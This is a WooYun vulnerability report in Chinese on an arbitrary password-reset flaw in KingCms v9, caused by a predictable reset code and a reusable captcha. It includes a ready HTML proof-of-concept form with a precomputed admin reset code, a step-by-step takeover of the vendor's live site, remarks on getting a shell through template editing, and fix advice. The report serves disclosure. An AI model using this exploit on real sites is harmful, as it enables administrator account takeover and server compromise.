当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0150759

漏洞标题:KingCms最新版v9任意用户密码重置

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-11-04 18:34

修复时间:2015-12-19 18:36

公开时间:2015-12-19 18:36

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-04: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-12-19: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版v9任意用户密码重置

详细说明:

在user/manage.php

1.png


298行 if($code <> $usercode) kc_tip('提交的参数不正确!','form');
通过比较$code和$usercode是否相同来重置密码
而$usercode = md5($rs['userid'] . $rs['email'] . $rs['salt']);
email是注册以后在个人资料里面再填的,所以基本上为空,那salt呢,再从数据库里看看salt

2.png


salt默认为空,也就是salt没用处,mail也基本不会更改,所以也为空,剩下userid是从10000开始注册的。
也就是说如果$usercode=md5($['userid'])
再看291行checkcode函数,cltr+shit+r跟踪这个函数

4.png


程序如何校验验证码呢?通过接收checkcode_id和checkcode_answer参数,然后通过checkcode_id到数据库中查询相应答案,比对checkcode_answer和数据库中的答案是否一致
那么我们可以通过抓取正常登录或者注册的包,停在这个页面上,数据库就会生成checkcode_id和checkcode_answer而不会被销毁掉

5.png


6.png

漏洞证明:

根据上面分析,重置官网http://**.**.**.**/,id为10000(admin)的用户密码,则code值为b7a782741f667201b54880c925faec4b,重置密码为wooyun123
先在官网登陆,burp抓包,定在这,不要forword前进

66.png


得到checkcode_id=1083,checkcode_answer=32
然后本地构造post表单

<html>
<form action="http://**.**.**.**/user/manage.php?CMD=resetpassword" method="post">
<p>userid: <input type="text" name="userid" value='10000'/></p>
<p>new_password: <input type="text" name="new_password" value='wooyun123'/></p>
<p>confirm_password: <input type="text" name="confirm_password" value='wooyun123'/></p>
<p>code: <input type="text" name="code" value='b7a782741f667201b54880c925faec4b'/></p>
<p>checkcode_id: <input type="text" name="checkcode_id"/></p>
<p>checkcode_answer: <input type="text" name="checkcode_answer" /></p>
<input type="submit" value="Submit" />
</form>
</html>


成功修改admin密码wooyun123

7.png


登录官网

8.png


后台有编辑模板功能,直接可以添加编辑php文件,可getshell,不过官网的default路径被故意删除了吧,默认编辑模板路径templates/default/,没有http://**.**.**.**/templates/default/路径,所以编辑的文件没有路径,导致无法getshell,正常情况是可以的,本地也是可以的

9.png

修复方案:

salt不要为空
mail在注册接口注册
验证码不要重复使用

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝